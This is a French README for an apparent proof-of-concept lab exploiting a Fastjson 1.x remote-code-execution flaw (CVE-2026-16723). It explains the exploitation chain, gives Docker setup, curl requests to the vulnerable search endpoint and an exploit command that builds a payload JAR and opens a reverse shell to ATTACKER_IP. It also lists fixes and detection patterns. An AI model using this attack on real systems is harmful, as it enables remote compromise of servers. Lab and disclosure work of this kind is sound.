
Proof-of-concept d'exploit pour CVE-2026-16723, une vulnérabilité d'exécution de code à distance via @JSONType dans Fastjson 1.x, avec un générateur de JAR de payload et un listener de reverse shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 est une vulnérabilité d'exécution de code à distance (RCE) dans Fastjson 1.x (1.2.68 – 1.2.83). Lorsque Fastjson analyse du JSON contrôlé par l'attaquant, une valeur
@typeforgée est transformée en une recherche de ressource de classe danscheckAutoType. Dans un fat-JAR exécutable Spring Boot, le chargeur de classes résout ce nom comme une URLjar:http://et récupère un JAR distant (SSRF), puis charge une classe portant l'annotation@JSONTypealors même qu'AutoType est désactivé. Comme un JDK / Tomcat moderne rejette le nom binairejar:http://, la variante fiable injecte le JAR dans le cache de la JVM et le relit viajar:file:/proc/self/fd/N, de sorte que la classe est définie et que son initialiseur statique s'exécute, permettant l'exécution de code. AutoType reste désactivé et aucun gadget du classpath n'est nécessaire.
| Catégorie | Version |
|---|---|
| Vulnérable | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| Corrigée | Migrer vers Fastjson 2.x (aucune version 1.x corrigée) |
La cible du lab est une vitrine publique (Northwind Store) dont l'API de recherche lie
son corps de requête avec Fastjson. Tout est en configuration par défaut de Fastjson :
SafeMode désactivé, AutoType désactivé, empaqueté en fat-JAR Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Prérequis | État dans ce lab |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Fat-JAR exécutable Spring Boot | oui |
| Chemin d'analyse JSON non authentifié | POST /api/products/search |
| SafeMode / AutoType | par défaut (les deux désactivés) |
L'attaquant et la cible s'exécutent sur le même réseau bridge Docker, donc la cible joint l'attaquant via une connexion sortante (aucun port supplémentaire n'est publié).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py construit le JAR de payload, le sert, démarre un listener et affiche
le corps de la requête. Seule l'adresse de callback est requise.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Collez le corps affiché dans le endpoint de recherche (Burp Repeater ou curl) et
envoyez-le. La requête de recherche est une fonctionnalité normale ; seul son corps JSON est forgé.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Le code s'exécute sous le compte de service. Récupérez le flag via le shell obtenu :
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type contenant les motifs jar:http ou jar:file / /proc/self/fd